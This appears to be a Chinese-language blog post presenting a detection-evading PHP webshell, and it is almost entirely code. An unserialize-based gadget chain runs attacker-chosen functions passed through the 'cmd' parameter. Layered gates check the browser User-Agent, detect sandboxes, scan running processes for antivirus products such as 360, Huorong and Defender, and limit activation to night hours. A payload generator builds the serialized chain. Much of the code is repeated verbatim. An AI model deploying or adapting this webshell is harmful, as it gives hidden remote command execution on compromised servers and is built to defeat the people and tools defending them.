多条件触发的免杀 Webshell
array_walk(array &$array, callable $callback, mixed $userdata = null): bool
<?php
$fruits = ["apple" => 5, "banana" => 3, "orange" => 8];
// 定义一个回调函数
function printItem($value, $key) {
echo "Key: $key, Value: $value\n";
}
// 使用 array_walk 遍历数组
array_walk($fruits, 'printItem');
复制
Key: apple, Value: 5
Key: banana, Value: 3
Key: orange, Value: 8
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
if (isset($_GET['cmd'])) {
unserialize($_GET['cmd']);
} else {
highlight_file(__FILE__);
}
CherryBlossom:__destruct->Samurai:__toString->Princess:__call->CherryBlossom:__toString->Philosopher:__invoke->Mystery:__get
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11 = "sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
// 检查 User-Agent 是否为浏览器
function isBrowser() {
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
// 常见浏览器的 User-Agent 关键词
$browserKeywords = ['Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera'];
foreach ($browserKeywords as $keyword) {
if (stripos($userAgent, $keyword) !== false) {
return true;
}
}
}
return false;
}
if (isset($_GET['cmd'])) {
// 仅在检测到浏览器时触发反序列化
if (isBrowser()) {
unserialize($_GET['cmd']);
} else {
echo "Access denied. This feature is only available for browsers.";
}
} else {
highlight_file(__FILE__);
}
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11 = "sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
// 检查是否为沙箱环境
function isSandbox() {
// 检测常见的沙箱特征
$sandboxIndicators = [
// 检测特定文件或目录
'/etc/hostname' => 'sandbox',
'/home/sandbox' => true,
// 检测特定函数是否被禁用
'function_exists' => ['exec', 'system', 'shell_exec'],
// 检测特定扩展是否加载
'extension_loaded' => ['suhosin', 'runkit'],
];
foreach ($sandboxIndicators as $indicator => $value) {
if (is_string($indicator)) {
// 检测文件或目录是否存在
if (file_exists($indicator)) {
return true;
}
} elseif (is_array($value)) {
// 检测函数是否被禁用
foreach ($value as $func) {
if (!function_exists($func)) {
return true;
}
}
}
}
return false;
}
// 检查 User-Agent 是否为浏览器
function isBrowser() {
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
// 常见浏览器的 User-Agent 关键词
$browserKeywords = ['Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera'];
foreach ($browserKeywords as $keyword) {
if (stripos($userAgent, $keyword) !== false) {
return true;
}
}
}
return false;
}
if (isset($_GET['cmd'])) {
// 仅在非沙箱环境且通过浏览器访问时触发反序列化
if (!isSandbox() && isBrowser()) {
unserialize($_GET['cmd']);
} else {
echo "Access denied. This feature is not available in the current environment.";
}
} else {
highlight_file(__FILE__);
}
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11 = "sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
// 检查是否为杀毒软件扫描环境
function isAntivirusScan() {
// 检测常见的杀毒软件进程或文件
$antivirusIndicators = [
// 360 安全卫士
'360sd.exe', '360tray.exe', 'zhudongfangyu.exe',
// 火绒安全软件
'hipsmain.exe', 'wsctrl.exe', 'usysdiag.exe',
// 其他杀毒软件
'avp.exe', 'msmpeng.exe', 'mbam.exe',
];
// 获取当前运行的进程列表
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
// Windows 系统
exec('tasklist', $processes);
} else {
// Linux 或 macOS 系统
exec('ps aux', $processes);
}
// 检查是否有杀毒软件进程
foreach ($antivirusIndicators as $indicator) {
foreach ($processes as $process) {
if (stripos($process, $indicator) !== false) {
return true;
}
}
}
return false;
}
// 检查是否为沙箱环境
function isSandbox() {
// 检测常见的沙箱特征
$sandboxIndicators = [
// 检测特定文件或目录
'/etc/hostname' => 'sandbox',
'/home/sandbox' => true,
// 检测特定函数是否被禁用
'function_exists' => ['exec', 'system', 'shell_exec'],
// 检测特定扩展是否加载
'extension_loaded' => ['suhosin', 'runkit'],
];
foreach ($sandboxIndicators as $indicator => $value) {
if (is_string($indicator)) {
// 检测文件或目录是否存在
if (file_exists($indicator)) {
return true;
}
} elseif (is_array($value)) {
// 检测函数是否被禁用
foreach ($value as $func) {
if (!function_exists($func)) {
return true;
}
}
}
}
return false;
}
// 检查 User-Agent 是否为浏览器
function isBrowser() {
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
// 常见浏览器的 User-Agent 关键词
$browserKeywords = ['Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera'];
foreach ($browserKeywords as $keyword) {
if (stripos($userAgent, $keyword) !== false) {
return true;
}
}
}
return false;
}
if (isset($_GET['cmd'])) {
// 仅在非沙箱环境、非杀毒软件扫描且通过浏览器访问时触发反序列化
if (!isSandbox() && !isAntivirusScan() && isBrowser()) {
unserialize($_GET['cmd']);
} else {
echo "Access denied. This feature is not available in the current environment.";
}
} else {
highlight_file(__FILE__);
}
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11 = "sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
// 检查是否为杀毒软件扫描环境
function isAntivirusScan() {
// 检测常见的杀毒软件进程或文件
$antivirusIndicators = [
// 360 安全卫士
'360sd.exe', '360tray.exe', 'zhudongfangyu.exe',
// 火绒安全软件
'hipsmain.exe', 'wsctrl.exe', 'usysdiag.exe',
// 其他杀毒软件
'avp.exe', 'msmpeng.exe', 'mbam.exe',
];
// 获取当前运行的进程列表
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
// Windows 系统
exec('tasklist', $processes);
} else {
// Linux 或 macOS 系统
exec('ps aux', $processes);
}
// 检查是否有杀毒软件进程
foreach ($antivirusIndicators as $indicator) {
foreach ($processes as $process) {
if (stripos($process, $indicator) !== false) {
return true;
}
}
}
return false;
}
// 检查是否为沙箱环境
function isSandbox() {
// 检测常见的沙箱特征
$sandboxIndicators = [
// 检测特定文件或目录
'/etc/hostname' => 'sandbox',
'/home/sandbox' => true,
// 检测特定函数是否被禁用
'function_exists' => ['exec', 'system', 'shell_exec'],
// 检测特定扩展是否加载
'extension_loaded' => ['suhosin', 'runkit'],
];
foreach ($sandboxIndicators as $indicator => $value) {
if (is_string($indicator)) {
// 检测文件或目录是否存在
if (file_exists($indicator)) {
return true;
}
} elseif (is_array($value)) {
// 检测函数是否被禁用
foreach ($value as $func) {
if (!function_exists($func)) {
return true;
}
}
}
}
return false;
}
// 检查 User-Agent 是否为浏览器
function isBrowser() {
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
// 常见浏览器的 User-Agent 关键词
$browserKeywords = ['Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera'];
foreach ($browserKeywords as $keyword) {
if (stripos($userAgent, $keyword) !== false) {
return true;
}
}
}
return false;
}
// 检查当前时间是否在指定范围内(22:00 到 6:00)
function isWithinTimeRange() {
$currentHour = (int)date('H'); // 获取当前小时
return ($currentHour >= 22 || $currentHour < 6); // 22:00 到 6:00
}
if (isset($_GET['cmd'])) {
// 仅在非沙箱环境、非杀毒软件扫描、通过浏览器访问且时间在 22:00 到 6:00 时触发反序列化
if (!isSandbox() && !isAntivirusScan() && isBrowser() && isWithinTimeRange()) {
unserialize($_GET['cmd']);
} else {
echo "Access denied. This feature is not available in the current environment or time.";
}
} else {
highlight_file(__FILE__);
}
array_walk(array &$array, callable $callback, mixed $userdata = null): bool
<?php
$fruits = ["apple" => 5, "banana" => 3, "orange" => 8];
// 定义一个回调函数
function printItem($value, $key) {
echo "Key: $key, Value: $value\n";
}
// 使用 array_walk 遍历数组
array_walk($fruits, 'printItem');
复制
Key: apple, Value: 5
Key: banana, Value: 3
Key: orange, Value: 8
<?php
class shell {
public $system = "whoami";
public function add($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = $day2($day1);
});
}
}
// 实例化类
$A = new shell();
// 调用 add 方法
$A->add('some_argument');
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11="sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
if (isset($_GET['cmd'])) {
unserialize($_GET['cmd']);
} else {
highlight_file(__FILE__);
}
CherryBlossom:__destruct->Samurai:__toString->Princess:__call->CherryBlossom:__toString->Philosopher:__invoke->Mystery:__get
<?php
class CherryBlossom {
public $fruit1;
public $fruit2;
}
class Samurai {
public $fruit6;
public $fruit7;
}
class Philosopher {
public $fruit10;
public $fruit11="SwjI4H8ZbLdWv6zJxOZN";
}
class Princess {
//
public $fruit9;
}
class Mystery {
public $system="ipconfig";
}
$a = new CherryBlossom();
$b = new CherryBlossom();
$c = new Samurai();
$d = new Princess();
$e = new Philosopher();
$f = new Mystery();
$a->fruit1 =$c;
$a->fruit1->fruit6 =$d;
$a->fruit1->fruit6->fruit9 =$b;
$a->fruit1->fruit6->fruit9->fruit2 =$e;
$a->fruit1->fruit6->fruit9->fruit2->fruit10 =$f;
echo urlencode(serialize($a));
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11 = "sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
// 检查 User-Agent 是否为浏览器
function isBrowser() {
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
// 常见浏览器的 User-Agent 关键词
$browserKeywords = ['Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera'];
foreach ($browserKeywords as $keyword) {
if (stripos($userAgent, $keyword) !== false) {
return true;
}
}
}
return false;
}
if (isset($_GET['cmd'])) {
// 仅在检测到浏览器时触发反序列化
if (isBrowser()) {
unserialize($_GET['cmd']);
} else {
echo "Access denied. This feature is only available for browsers.";
}
} else {
highlight_file(__FILE__);
}
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11 = "sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
// 检查是否为沙箱环境
function isSandbox() {
// 检测常见的沙箱特征
$sandboxIndicators = [
// 检测特定文件或目录
'/etc/hostname' => 'sandbox',
'/home/sandbox' => true,
// 检测特定函数是否被禁用
'function_exists' => ['exec', 'system', 'shell_exec'],
// 检测特定扩展是否加载
'extension_loaded' => ['suhosin', 'runkit'],
];
foreach ($sandboxIndicators as $indicator => $value) {
if (is_string($indicator)) {
// 检测文件或目录是否存在
if (file_exists($indicator)) {
return true;
}
} elseif (is_array($value)) {
// 检测函数是否被禁用
foreach ($value as $func) {
if (!function_exists($func)) {
return true;
}
}
}
}
return false;
}
// 检查 User-Agent 是否为浏览器
function isBrowser() {
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
// 常见浏览器的 User-Agent 关键词
$browserKeywords = ['Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera'];
foreach ($browserKeywords as $keyword) {
if (stripos($userAgent, $keyword) !== false) {
return true;
}
}
}
return false;
}
if (isset($_GET['cmd'])) {
// 仅在非沙箱环境且通过浏览器访问时触发反序列化
if (!isSandbox() && isBrowser()) {
unserialize($_GET['cmd']);
} else {
echo "Access denied. This feature is not available in the current environment.";
}
} else {
highlight_file(__FILE__);
}
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11 = "sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
// 检查是否为杀毒软件扫描环境
function isAntivirusScan() {
// 检测常见的杀毒软件进程或文件
$antivirusIndicators = [
// 360 安全卫士
'360sd.exe', '360tray.exe', 'zhudongfangyu.exe',
// 火绒安全软件
'hipsmain.exe', 'wsctrl.exe', 'usysdiag.exe',
// 其他杀毒软件
'avp.exe', 'msmpeng.exe', 'mbam.exe',
];
// 获取当前运行的进程列表
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
// Windows 系统
exec('tasklist', $processes);
} else {
// Linux 或 macOS 系统
exec('ps aux', $processes);
}
// 检查是否有杀毒软件进程
foreach ($antivirusIndicators as $indicator) {
foreach ($processes as $process) {
if (stripos($process, $indicator) !== false) {
return true;
}
}
}
return false;
}
// 检查是否为沙箱环境
function isSandbox() {
// 检测常见的沙箱特征
$sandboxIndicators = [
// 检测特定文件或目录
'/etc/hostname' => 'sandbox',
'/home/sandbox' => true,
// 检测特定函数是否被禁用
'function_exists' => ['exec', 'system', 'shell_exec'],
// 检测特定扩展是否加载
'extension_loaded' => ['suhosin', 'runkit'],
];
foreach ($sandboxIndicators as $indicator => $value) {
if (is_string($indicator)) {
// 检测文件或目录是否存在
if (file_exists($indicator)) {
return true;
}
} elseif (is_array($value)) {
// 检测函数是否被禁用
foreach ($value as $func) {
if (!function_exists($func)) {
return true;
}
}
}
}
return false;
}
// 检查 User-Agent 是否为浏览器
function isBrowser() {
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
// 常见浏览器的 User-Agent 关键词
$browserKeywords = ['Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera'];
foreach ($browserKeywords as $keyword) {
if (stripos($userAgent, $keyword) !== false) {
return true;
}
}
}
return false;
}
if (isset($_GET['cmd'])) {
// 仅在非沙箱环境、非杀毒软件扫描且通过浏览器访问时触发反序列化
if (!isSandbox() && !isAntivirusScan() && isBrowser()) {
unserialize($_GET['cmd']);
} else {
echo "Access denied. This feature is not available in the current environment.";
}
} else {
highlight_file(__FILE__);
}
<?php
error_reporting(0);
class CherryBlossom {
public $fruit1;
public $fruit2;
public function __construct($a) {
$this->fruit1 = $a;
}
function __destruct() {
echo $this->fruit1;
}
public function __toString() {
$newFunc = $this->fruit2;
return $newFunc();
}
}
class Samurai {
public $fruit6;
public $fruit7;
public function __toString() {
$long = @$this->fruit6->add();
return $long;
}
public function __set($arg1, $arg2) {
if ($this->fruit7->tt2) {
echo "xxx are the best!!!";
}
}
}
class Mystery {
public function __get($arg1) {
array_walk($this, function ($day1, $day2) {
$day3 = $day2($day1);
foreach ($day3 as $day4) {
echo ($day4 . '<br>');
}
});
}
}
class Princess {
protected $fruit9;
protected function addMe() {
return "The time spent with xxx is my happiest time" . $this->fruit9;
}
public function __call($func, $args) {
call_user_func([$this, $func . "Me"], $args);
}
}
class Philosopher {
public $fruit10;
public $fruit11 = "sr22kaDugamdwTPhG5zU";
public function __invoke() {
if (md5(md5($this->fruit11)) == 666) {
return $this->fruit10->hey;
}
}
}
// 检查是否为杀毒软件扫描环境
function isAntivirusScan() {
// 检测常见的杀毒软件进程或文件
$antivirusIndicators = [
// 360 安全卫士
'360sd.exe', '360tray.exe', 'zhudongfangyu.exe',
// 火绒安全软件
'hipsmain.exe', 'wsctrl.exe', 'usysdiag.exe',
// 其他杀毒软件
'avp.exe', 'msmpeng.exe', 'mbam.exe',
];
// 获取当前运行的进程列表
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
// Windows 系统
exec('tasklist', $processes);
} else {
// Linux 或 macOS 系统
exec('ps aux', $processes);
}
// 检查是否有杀毒软件进程
foreach ($antivirusIndicators as $indicator) {
foreach ($processes as $process) {
if (stripos($process, $indicator) !== false) {
return true;
}
}
}
return false;
}
// 检查是否为沙箱环境
function isSandbox() {
// 检测常见的沙箱特征
$sandboxIndicators = [
// 检测特定文件或目录
'/etc/hostname' => 'sandbox',
'/home/sandbox' => true,
// 检测特定函数是否被禁用
'function_exists' => ['exec', 'system', 'shell_exec'],
// 检测特定扩展是否加载
'extension_loaded' => ['suhosin', 'runkit'],
];
foreach ($sandboxIndicators as $indicator => $value) {
if (is_string($indicator)) {
// 检测文件或目录是否存在
if (file_exists($indicator)) {
return true;
}
} elseif (is_array($value)) {
// 检测函数是否被禁用
foreach ($value as $func) {
if (!function_exists($func)) {
return true;
}
}
}
}
return false;
}
// 检查 User-Agent 是否为浏览器
function isBrowser() {
if (isset($_SERVER['HTTP_USER_AGENT'])) {
$userAgent = $_SERVER['HTTP_USER_AGENT'];
// 常见浏览器的 User-Agent 关键词
$browserKeywords = ['Mozilla', 'Chrome', 'Safari', 'Firefox', 'Edge', 'Opera'];
foreach ($browserKeywords as $keyword) {
if (stripos($userAgent, $keyword) !== false) {
return true;
}
}
}
return false;
}
// 检查当前时间是否在指定范围内(22:00 到 6:00)
function isWithinTimeRange() {
$currentHour = (int)date('H'); // 获取当前小时
return ($currentHour >= 22 || $currentHour < 6); // 22:00 到 6:00
}
if (isset($_GET['cmd'])) {
// 仅在非沙箱环境、非杀毒软件扫描、通过浏览器访问且时间在 22:00 到 6:00 时触发反序列化
if (!isSandbox() && !isAntivirusScan() && isBrowser() && isWithinTimeRange()) {
unserialize($_GET['cmd']);
} else {
echo "Access denied. This feature is not available in the current environment or time.";
}
} else {
highlight_file(__FILE__);
}
没有评论